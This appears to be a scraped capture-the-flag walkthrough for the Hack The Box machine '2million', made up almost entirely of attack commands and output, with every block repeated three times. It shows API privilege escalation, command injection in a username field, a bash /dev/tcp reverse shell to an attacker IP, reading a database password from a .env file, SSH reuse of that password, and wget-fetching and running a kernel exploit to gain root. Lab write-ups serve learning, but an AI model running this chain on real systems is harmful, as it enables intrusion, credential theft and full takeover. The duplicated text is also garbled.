nmap -sC -sV -A <MACHINE-IP>
nmap -sC -sV -A <MACHINE-IP>
nmap -sC -sV -A <MACHINE-IP>
echo "<MACHINE-IP> 2million.htb" | sudo tee -a /etc/hosts
echo "<MACHINE-IP> 2million.htb" | sudo tee -a /etc/hosts
echo "<MACHINE-IP> 2million.htb" | sudo tee -a /etc/hosts
feroxbuster -u http://2million.htb
feroxbuster -u http://2million.htb
feroxbuster -u http://2million.htb
curl -X GET http://2million.htb/js/inviteapi.min.js
curl -X GET http://2million.htb/js/inviteapi.min.js
curl -X GET http://2million.htb/js/inviteapi.min.js
curl -X POST http://2million.htb/api/v1/invite/how/to/generate
curl -X POST http://2million.htb/api/v1/invite/how/to/generate
curl -X POST http://2million.htb/api/v1/invite/how/to/generate
{ "data": { "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr", "enctype": "ROT13" }
}
{ "data": { "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr", "enctype": "ROT13" }
}
{ "data": { "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr", "enctype": "ROT13" }
}
echo "Va beqre gb trarengr..." | tr 'A-Za-z' 'N-ZA-Mn-za-m'
# In order to generate the invite code, make a POST request to /api/v1/invite/generate
echo "Va beqre gb trarengr..." | tr 'A-Za-z' 'N-ZA-Mn-za-m'
# In order to generate the invite code, make a POST request to /api/v1/invite/generate
echo "Va beqre gb trarengr..." | tr 'A-Za-z' 'N-ZA-Mn-za-m'
# In order to generate the invite code, make a POST request to /api/v1/invite/generate
curl -X POST http://2million.htb/api/v1/invite/generate | jq
curl -X POST http://2million.htb/api/v1/invite/generate | jq
curl -X POST http://2million.htb/api/v1/invite/generate | jq
echo "VUtMWEMtNk5TTjAtVDkxNU4tVVY4WUE=" | base64 -d
# UKLXC-6NSN0-T915N-UV8YA
echo "VUtMWEMtNk5TTjAtVDkxNU4tVVY4WUE=" | base64 -d
# UKLXC-6NSN0-T915N-UV8YA
echo "VUtMWEMtNk5TTjAtVDkxNU4tVVY4WUE=" | base64 -d
# UKLXC-6NSN0-T915N-UV8YA
curl -s http://2million.htb/api/v1 --cookie "PHPSESSID=<your-session>" | jq
curl -s http://2million.htb/api/v1 --cookie "PHPSESSID=<your-session>" | jq
curl -s http://2million.htb/api/v1 --cookie "PHPSESSID=<your-session>" | jq
curl -X PUT http://2million.htb/api/v1/admin/settings/update \ --cookie "PHPSESSID=<your-session>" \ --header "Content-Type: application/json" \ -d '{"email": "[email protected]", "is_admin": 1}'
curl -X PUT http://2million.htb/api/v1/admin/settings/update \ --cookie "PHPSESSID=<your-session>" \ --header "Content-Type: application/json" \ -d '{"email": "[email protected]", "is_admin": 1}'
curl -X PUT http://2million.htb/api/v1/admin/settings/update \ --cookie "PHPSESSID=<your-session>" \ --header "Content-Type: application/json" \ -d '{"email": "[email protected]", "is_admin": 1}'
{"id": 13, "username": "john", "is_admin": 1}
{"id": 13, "username": "john", "is_admin": 1}
{"id": 13, "username": "john", "is_admin": 1}
curl -X POST http://2million.htb/api/v1/admin/vpn/generate \ --cookie "PHPSESSID=<your-session>" \ --header "Content-Type: application/json" \ --data '{"username": "john;whoami;"}'
# www-data
curl -X POST http://2million.htb/api/v1/admin/vpn/generate \ --cookie "PHPSESSID=<your-session>" \ --header "Content-Type: application/json" \ --data '{"username": "john;whoami;"}'
# www-data
curl -X POST http://2million.htb/api/v1/admin/vpn/generate \ --cookie "PHPSESSID=<your-session>" \ --header "Content-Type: application/json" \ --data '{"username": "john;whoami;"}'
# www-data
# Listener
pwncat-cs -lp 4444 # Payload
curl -X POST http://2million.htb/api/v1/admin/vpn/generate \ --cookie "PHPSESSID=<your-session>" \ --header "Content-Type: application/json" \ --data "{\"username\":\"john;bash -c 'bash -i >& /dev/tcp/<YOUR-IP>/4444 0>&1'\"}"
# Listener
pwncat-cs -lp 4444 # Payload
curl -X POST http://2million.htb/api/v1/admin/vpn/generate \ --cookie "PHPSESSID=<your-session>" \ --header "Content-Type: application/json" \ --data "{\"username\":\"john;bash -c 'bash -i >& /dev/tcp/<YOUR-IP>/4444 0>&1'\"}"
# Listener
pwncat-cs -lp 4444 # Payload
curl -X POST http://2million.htb/api/v1/admin/vpn/generate \ --cookie "PHPSESSID=<your-session>" \ --header "Content-Type: application/json" \ --data "{\"username\":\"john;bash -c 'bash -i >& /dev/tcp/<YOUR-IP>/4444 0>&1'\"}"
cat /var/www/html/.env
cat /var/www/html/.env
cat /var/www/html/.env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
ssh [email protected]
# Password: SuperDuperPass123
ssh [email protected]
# Password: SuperDuperPass123
ssh [email protected]
# Password: SuperDuperPass123
You have mail.
You have mail.
You have mail.
uname -a
# Linux 2million 5.15.70-051570-generic #202209231339 ...
uname -a
# Linux 2million 5.15.70-051570-generic #202209231339 ...
uname -a
# Linux 2million 5.15.70-051570-generic #202209231339 ...
apt install libfuse-dev
gcc poc.c -o poc -D_FILE_OFFSET_BITS=64 -static -lfuse -ldl
apt install libfuse-dev
gcc poc.c -o poc -D_FILE_OFFSET_BITS=64 -static -lfuse -ldl
apt install libfuse-dev
gcc poc.c -o poc -D_FILE_OFFSET_BITS=64 -static -lfuse -ldl
python3 -m http.server 8000
python3 -m http.server 8000
python3 -m http.server 8000
wget http://<ATTACKER-IP>:8000/poc
chmod +x poc
./poc
wget http://<ATTACKER-IP>:8000/poc
chmod +x poc
./poc
wget http://<ATTACKER-IP>:8000/poc
chmod +x poc
./poc
root@2million:/tmp# whoami
root
root@2million:/tmp# whoami
root
root@2million:/tmp# whoami
root - Port 22 — SSH (OpenSSH 8.9)
- Port 80 — HTTP (nginx) - /invite — invite code entry page
- /js/inviteapi.min.js — client-side invite logic
- /api/v1/user/login and /api/v1/user/register — API endpoints - makeInviteCode() — POSTs to /api/v1/invite/how/to/generate
- verifyInviteCode(code) — POSTs to /api/v1/invite/verify - GET /api/v1/admin/auth — Check if current user is admin
- PUT /api/v1/admin/settings/update — Update user settings
- POST /api/v1/admin/vpn/generate — Generate VPN for any user